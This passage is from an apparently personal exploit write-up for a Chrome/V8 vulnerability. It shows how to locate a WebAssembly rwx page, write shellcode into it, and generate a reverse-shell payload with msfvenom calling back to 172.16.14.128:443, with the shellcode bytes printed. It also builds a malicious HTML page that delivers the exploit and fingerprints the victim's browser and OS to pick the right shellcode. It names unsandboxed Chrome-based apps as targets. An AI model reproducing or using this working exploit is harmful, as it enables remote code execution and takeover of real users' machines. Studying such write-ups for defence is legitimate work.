Determining the offset of the rwx segment here is trivial and can be done in gdb. Basically it is just a matter of getting the rwx page address via vmmap (as illustrated above), search the little endian address, and subtract the address of rwx from the address of our pointer. An example of this is shown below. NOTE as expected, pointers/memory addresses will alter from the above output as this was ran as a seperate instance from the above:

      %DebugPrint(wasmInstance);

    DebugPrint: 0x139908212be1: [WasmInstanceObject] in OldSpace
     - map: 0x139908246e1d <Map(HOLEY_ELEMENTS)> [FastProperties]
     - prototype: 0x1399080873a1 <Object map = 0x139908247395>
     - elements: 0x139908042229 <FixedArray[0]> [HOLEY_ELEMENTS]
     - module_object: 0x139908088c2d <Module map = 0x139908246cb5>
     - exports_object: 0x139908088d8d <Object map = 0x139908247435>
     - native_context: 0x1399082030e1 <NativeContext[244]>
     - memory_object: 0x139908212bc9 <Memory map = 0x1399082470c5>
     - table 0: 0x139908088d5d <Table map = 0x139908246f35>
     - imported_function_refs: 0x139908042229 <FixedArray[0]>
     - indirect_function_table_refs: 0x139908042229 <FixedArray[0]>
     - managed_native_allocations: 0x139908088d15 <Foreign>
     - memory_start: 0x7f76bc000000
     - memory_size: 65536
     - memory_mask: ffff
     - imported_function_targets: 0x5614ad4bb3b0
     - globals_start: (nil)
     - imported_mutable_globals: 0x5614ad4bb3d0
     - indirect_function_table_size: 0
     - indirect_function_table_sig_ids: (nil)
     - indirect_function_table_targets: (nil)
     - properties: 0x139908042229 <FixedArray[0]>
     - All own properties (excluding elements): {}
    
    0x139908246e1d: [Map]
     - type: WASM_INSTANCE_OBJECT_TYPE
     - instance size: 212
     - inobject properties: 0
     - elements kind: HOLEY_ELEMENTS
     - unused property fields: 0
     - enum length: invalid
     - stable_map
     - back pointer: 0x1399080423b1 <undefined>
     - prototype_validity cell: 0x139908182445 <Cell value= 1>
     - instance descriptors (own) #0: 0x1399080421bd <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
     - prototype: 0x1399080873a1 <Object map = 0x139908247395>
     - constructor: 0x139908211c9d <JSFunction Instance (sfi = 0x139908211c75)>
     - dependent code: 0x1399080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
     - construction counter: 0
  
  

Again, our vmmap output shows our rwx page address (truncated for brevity):

  LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
  0x38463acd2000     0x38463acd3000 rwxp     1000      0 [anon_38463acd2]    

Our rwx is located at 0x38463acd2000 in this instance. Now we can search gdb starting from our wasmInstance pointer, until we get a hit on our rwx (I switched to pwndbg at some point during my analysis stage, but its not relevant to do so):

Our wasmInstance pointer is that of 0x139908212be1-1, and our rwx is that of 0x139908212c47. Therefore; 0xc47 - 0xbe0 = 0x67. We now know the offset for our rwx.

NOTE this offset can be calculated through numerous methods, and not solely on the method I used in the above.

We can then append the following to our exploit:

let rwx = arb_read(addrof(wasmInstance) + 0x67n); //leaks rwx (offset 0x67)

A similar approach was taken for the aforementioned offsets, and will also be taken in determining the remaining offsets required for the exploit here, however I will strip this from the report for the sake of brevity. Also in saying that, code can be written to locate these offsets with markers as well.

We can then write our shellcode to memory via our created rwx:

      function write(buf) {
      let tmp = new ArrayBuffer(buf.length);
      let view = new DataView(tmp);
      //backingstore of victim buffer offset changed from 0x20 to 0x13
      let backing_store_addr = addrof(tmp) + 0x13n; 
  
      arb_write(backing_store_addr, rwx);
  
      for (let i = 0; i < buf.length; i++) {
          view.setUint8(i, buf[i]);
      }
  }
  

[ SHELLCODE WEAPONISATION ]

We can now generate shellcode based upon the desired payload. In this case, it will be a TCP reverse shell to 172.16.14.128 on tcp port 443. I used a seperate guest VM running on the same VLAN, as well as testing locally on a VM. While not completely ideal due to limitations, we can use msfvenom here:

  msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.16.14.128 LPORT=443 -f java
  

Which outputs the following (cleaned):

      0x6a,0x29,0x58,0x99,0x6a,0x02,0x5f,0x6a,
    0x01,0x5e,0x0f,0x05,0x48,0x97,0x48,0xb9,
    0x02,0x00,0x01,0xbb,0xac,0x10,0x0e,0x80,
    0x51,0x48,0x89,0xe6,0x6a,0x10,0x5a,0x6a,
    0x2a,0x58,0x0f,0x05,0x6a,0x03,0x5e,0x48,
    0xff,0xce,0x6a,0x21,0x58,0x0f,0x05,0x75,
    0xf6,0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,
    0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,
    0x48,0x89,0xe7,0x52,0x57,0x48,0x89,0xe6,
    0x0f,0x05
  

We can then add this to our exploit, call write(shellcode); to have the shellcode written to rwx via our defined write(); function that calls our arb_write primitive, also with the help of wasm_entry();:

  //...
  //reverse tcp shell: 172.16.14.128 (tcp\443)
  var shellcode = new Uint8Array([
    0x6a,0x29,0x58,0x99,0x6a,0x02,0x5f,0x6a,
    0x01,0x5e,0x0f,0x05,0x48,0x97,0x48,0xb9,
    0x02,0x00,0x01,0xbb,0xac,0x10,0x0e,0x80,
    0x51,0x48,0x89,0xe6,0x6a,0x10,0x5a,0x6a,
    0x2a,0x58,0x0f,0x05,0x6a,0x03,0x5e,0x48,
    0xff,0xce,0x6a,0x21,0x58,0x0f,0x05,0x75,
    0xf6,0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,
    0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,
    0x48,0x89,0xe7,0x52,0x57,0x48,0x89,0xe6,
    0x0f,0x05
  ]);
  
  write(shellcode);
  wasm_entry();
  //[...]    

After running the above with ./d8, we successfully spawn a reverse shell:

  nc -lnvp 443
  Listening on 0.0.0.0 443
  Connection received on 172.16.14.129 34324
  id
  uid=1000(h0m3cr3w) gid=1000(h0m3cr3w) groups=1000(h0m3cr3w)      

Similar to the above, we can also create shellcode supported against other operating systems (OS). This will be discussed and integrated later within the [ INCREASING RELIABILITY OF EXPLOIT ] section of this article.

[ CRAFTING AN EVIL HTML PAGE & BUILDING VULNERABLE CHROME BROWSER TARGET ]

With our exploit being successful within the release version of d8, we know that the exploit is functional within our test environment. We can therefore, craft an evil HTML page and test the exploit in a real-world scenario. The idea is to create a HTML page which will call the exploit within a <script> tag. Alternatively, this could also be chained with various web application vulnerabilities amongst others.

First, we need to download the version of chrome associated with the vulnerable V8 engine, in this case, being 8.9.0. The CVE ID references that this bug exists in Google Chrome prior to version 87.0.4280.88.

The commit of chrome/chromium associated with the vulnerable version can be identified here, which if this no longer works, has been replaced with this.

You can probably lookup version 87.0.4280.87 if it exists (or earlier if you prefer), for example, the output contains the following:

  Commit: [8d2aecc2e87a4f36ddc1b80d57178b846e1632a9](https://chromium.googlesource.com/chromium/src/+log/8d2aecc2e87a4f36ddc1b80d57178b846e1632a9)

  Branch Base Commit: [ea420fb963f9658c9969b6513c56b8f47efa1a2a](https://chromium.googlesource.com/chromium/src/+log/ea420fb963f9658c9969b6513c56b8f47efa1a2a)
  
  Branch Base Position: 812852
  
  V8 Commit: [45d51f3f97a6058fced26b9c378fba5dcd924704](https://chromium.googlesource.com/v8/v8/+log/45d51f3f97a6058fced26b9c378fba5dcd924704)
  
  V8 Version: [8.7.220.29](https://chromium.googlesource.com/v8/v8/+log/8.7.220.29)
  
  V8 Position: [59](https://chromium.googlesource.com/v8/v8/+log/59)
  
  Skia Commit: [489348851cca51b23f522734b6db3c785ffdfaed](https://chromium.googlesource.com/skia/+log/489348851cca51b23f522734b6db3c785ffdfaed)

We can then pull the 8d2aecc2e87a4f36ddc1b80d57178b846e1632a9 commit, build chrome and test our specially crafted HTML page exploit. By running it on localhost, or on a seperate host/guest that's connected to the same LAN/VLAN. Alternatively you can download the 86.0.4240.* release from here, which is the path I decided to choose.

Building the crafted HTML page, and using Python's Simple HTTP Server to serve:

      mkdir html_exploit
    cd html_exploit
    touch index.html   #<-- include HTML tags and script src ref to exploit.js
    touch exploit.js   #<-- include the JavaScript exploit here
  

For example, exploit.js contains the exploit, and the index.html page contains the following to call our exploit.js:

      <!doctype html>
    <html>
      <head>
      <title>exploit</title>
      <script type="text/javascript" src="exploit.js"></script>
      </head>
      <body>
      Content goes here.
      </body>
    </html>

While in html_exploit directory, run:

  python -m SimpleHTTPServer 80
  

Open the vulnerable version of Chrome/Chromium. In this case I used version 86.0.4240 (as mentioned above). I would have liked to have chained the above exploit with a sandbox escape relevant to the same version of chrome/v8, I might get to this later. However, for now, as a result of not currently being a full-chain exploit; it is imperative that the vulnerable version of chrome is opened with the --no-sandbox flag to disable Chrome's sandbox:

./chrome --no-sandbox    

Then navigate to localhost:80 (if exploiting locally) which will serve the index.html page and execute immediately as this is where the exploit is called from. Again, a reverse shell is successfully spawned:

nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 172.16.14.128 44246
  
id
uid=1000(h0m3cr3w) gid=1000(h0m3cr3w) groups=1000(h0m3cr3w)      

The complete exploit can be located in my GitHub repository here. The contents include the following:
- exploit.js- my final exploit that integrates DCL for abort checks, and altering execution flow, including that of payload delivery (monitor console.log() outputs during its execution).
- index.html - specially crafted HTML page, executing exploit.js on visit.
- bowser.js - DCL needed for additional abort checks and alternative payload delivery based on target user agents.

NOTE for testing, the shellcode will need to be altered to your own internal LHOST IP address and desired port, alternatively you can statically set your VMs IP to 172.16.14.128 and catch the reverse shell on tcp\443 .

[ INCREASING EXPLOIT RELIABILITY ]

While this vulnerability could be chained with a sandbox escape, it should also be noted that some embedded versions of Chrome run without the sandbox enabled by default in order to allow Chrome access to more system resources. This means that in some cases it may still be possible to exploit this vulnerability on its own in order to gain RCE on a system. An example of applications that use Chrome based applications with --no-sandbox can be located here, as well as in the table below (note the below may be outdated, but gives good examples):

Application Sandbox Status Example of Exploitation
Twitch DISABLED 2020-09-28 XSS to HTML injection RCE
VSCode DISABLED ZDNet: Malicious extensions
CVE-2020-17023
CVE-2020-17022
Signal DISABLED
FB Messenger DISABLED
MS Teams DISABLED
Keybase DISABLED
Discord DISABLED
WeChat DISABLED 2021-04-20 Target Chinese WeChat users

In saying that, the reliability of this exploit is significantly implicated at this stage, however, I do plan to research this further in my spare time and chain this exploit with a viable sandbox escape for further development and to increase reliability by overcoming this limitation of exploitability.

After writing our exploit, we can also set programmatic aborts to ensure clean exits. This increases the reliability of the exploit, in the sense, of not creating crashes or faults that could be noisy. This can also help with debugging when adding alterations against different target variations.

[ EXPLOIT ABORT DEFINITIONS & ENUMERATION FOR ALTERNATIVE PAYLOAD DELIVERY ]

Defining the abort function:

  //define clean exit 'abort' function
  function abort(msg) {
          throw new Error(msg);
  }

We can then incorporate our abort checks, for the purposes of brevity, I have not included the source for all of these checks here. Refer to exploit.js to see these. Instead, I will list the abort checks made and describe there purpose below:

[ EXPLOIT ENUMERATES TARGET BROWSER VIA getChromeVersion(); ]

To add to the above, the aborts depending on the browser being ran by the victim is as follows:

      /*
    dynamically loading script within browser which will enumerate the target 
    to apply additional abort checks if prerequisites are not satisifed.
    */
    function dynamicallyLoadScript(url) {
       var script = document.createElement("script");  
          script.src = "bowser.js" 
          document.head.appendChild(script); 
      console.log('[process] dynamically loading additional abort checks');
    }
    console.log('[process] additional abort checks dynamically loaded');
    dynamicallyLoadScript();
    
    // event to run a callback function
    function loadScript(url, callback) {
        // Adding the script tag to the head
      var head = document.head;
      var script = document.createElement('script');
      script.type = 'text/javascript';
      script.src = "bowser.js"; 
    
      // Then bind the event to the callback function.
        // There are several events for cross browser compatibility.
      script.onreadystatechange = callback;
      script.onload = callback;
      // Fire the loading
      head.appendChild(script);
    }
    var getChromeVersion = function() {
    // determines whether the target is vulnerable, otherwise aborts.
      var browser = bowser.getParser(window.navigator.userAgent);
      console.log('[process] determining whether target is vulnerable or not');
      if (browser.parsedResult.browser.name != "Chrome") {
        abort('[error] target browser is not Chrome, but rather: '+browser.parsedResult.browser.name+' version '+browser.parsedResult.browser.version+', aborting exploit.');
      } else {
        console.log('[success] target browser is Chrome');
        if (browser.satisfies({chrome: '>=87.0.4280.88' })) {
          abort('[error] target Chrome browser is not vulnerable, version in use: '+browser.parsedResult.browser.version);
        } else {
          console.log('[success] target Chrome browser is of vulnerable version: '+browser.parsedResult.browser.version);
          //target is vulnerable, call exploit and set timeout.
          setTimeout(exploit, 1500);
          }
        }
      };
      loadScript("getChromeVersion.js", getChromeVersion);
  
  

The above defined getChromeVersion(); function incorporates a third-party library, bowser, to determine what browser, and corresponding version is in use, as well as, other neat properties such as OS, architecture and attributes on which is in use by a potential target.

The aforementioned function I defined above contains conditional clause statements which incorporates aborts for clean exits depending on what browser is in use by a target. If the returned value is **not** that of Chrome, the exploit aborts with a clean exit. However, if the returned value **was** that of Chrome, the exploit continues on to the next conditional statement, of which, determines whether or not the target browser is running a vulnerable version of Chrome. In this case, if the returned browser version is higher or equal to version 87.0.4280.88, the exploit would exit cleanly without running. Otherwise the exploit calls the primary exploit function via setTimeout(exploit, 1500);, as Chrome versions prior to 87.0.4280.88 satisfies the conditions of exploitation.

[ EXPLOIT AGAINST VULNERABLE VERSION OF CHROME ]

      Listening on 0.0.0.0 443
    Connection received on 172.16.14.128 53696
    id
    uid=1000(h0m3cr3w) gid=1000(h0m3cr3w) groups=1000(h0m3cr3w)
  

[ EXPLOIT AGAINST NON-VULNERABLE VERSION OF CHROME ]

[ EXPLOIT AGAINST COMPLETELY DIFFERENT BROWSER I.E FIREFOX ]

[ EXPLOIT ENUMERATES TARGET OS VIA getTargetOS(); ]

In similar fashion to the above, I have also included OS system checks which will alter payload delivery based on shellcode tailored for that given OS. The following getTargetOS(); function also leverages DCL from the bowser library, and the function I have defined for this is illustrated below:

      /*
    gets target OS, shellcode alters depending on the targeted environment
    being Windows, Linux or macOS.
    */
    var getTargetOS = function() {
        const parser = bowser.getParser(window.navigator.userAgent);
        var getTargetOS = parser.getOS();
        var getTargetOS = getTargetOS.name; //will output "Linux", or "Windows" etc
    
      if (getTargetOS == "Linux") {
          console.log('[process] target OS appears to be '+getTargetOS+', adapting..');
            console.log('[process] writing shellcode to memory, catch the reverse shell on 172.16.14.128 tcp 443');
             //use Linux shellcode
            linuxShellcode();
        }
    
      if (getTargetOS == "Windows") {
            console.log('[process] target OS appears to be '+getTargetOS+', adapting..');
            console.log('[process] writing shellcode to memory, catch the reverse shell on 172.16.14.128 tcp 443');
            //use Windows shellcode
            windowsShellcode();
            }
       
      if (getTargetOS == "macOS") {
            console.log('[process] target OS appears to be ' + getTargetOS + ', adapting..');
            console.log('[process] writing shellcode to memory, catch the reverse shell on 172.16.14.128 tcp 443');
            //use macOS shellcode
            osxShellcode();
        } else {
            abort('[error] No current support for ' + getTargetOS + ', aborting.');
        }
        
        /*
      Add support for other OS types here (i.e. even Android and iOS, as well as
      arch 32-bit and 64-bit conditions to alternate between offsets and other
      contextual environment changes.
      */
      
    };
    loadScript("getTargetOS.js", getTargetOS);
  

After the target browser is deemed to be satisfied, setTimeout(exploit, 1500); is called. Within exploit(); I have defined this getTargetOS(); function which contains conditional statements that determines what shellcode is going to be written to memory, based upon the target OS system. If the target OS is that of Linux, the shellcode tailored for a Linux environment will be written to memory for successful exploitation. If the target OS is that of Windows, the shellcode tailored for Windows systems will be written to memory. Similarly, if the target OS is macOS, the shellcode tailored for macOS will be executed. If the target OS is neither Linux, Windows nor macOS, the exploit aborts while reporting the target OS environment (enumeration for which support could be added), as there is no current support for other operating systems in the exploit as it currently stands.

[ EXPLOIT AGAINST LINUX SYSTEM ]

  Listening on 0.0.0.0 443
  Connection received on 172.16.14.128 42816
  id
  uid=1000(h0m3cr3w) gid=1000(h0m3cr3w) groups=1000(h0m3cr3w)

[ EXPLOIT AGAINST WINDOWS SYSTEM ]

      Listening on 0.0.0.0 443
    Connection received on 172.16.14.128 42816
    id
    uid=1000(h0m3cr3w) gid=1000(h0m3cr3w) groups=1000(h0m3cr3w)
  

[ EXPLOIT AGAINST OSX PRIOR TO INTEGRATING SUPPORT ]

no shell as I did not integrate support here yet. Displays abort based on unsupported target OS. However, not the case after adding support, see below:

[ EXPLOIT AGAINST OSX AFTER INTEGRATING SUPPORT ]

  Listening on 0.0.0.0 443
  Connection received on 172.16.14.128 43783
  id
  uid=1000(h0m3cr3w) gid=1000(h0m3cr3w) groups=1000(h0m3cr3w)

In addition to the above, I had planned to include architecture checks here which would also alter execution flow based upon variations needed in terms of offsets (similarly with different versions of Chrome/V8) and other contextual changes. We could adequately determine what version of V8 was in use based on the returned Chrome version release. The one limitation here is that, this third-party DCL script relies heavily on user agents, and this could be problematic as user agents can be trivially spoofed or stripped. However, in majority of cases, I don't believe this to be the case. Other aborts will be caught in the event of this, therefore, sustaining reliability here. I would have liked to overcome this limitation. If there is a better alternative that does so, please let me know.

[ REFERENCES ]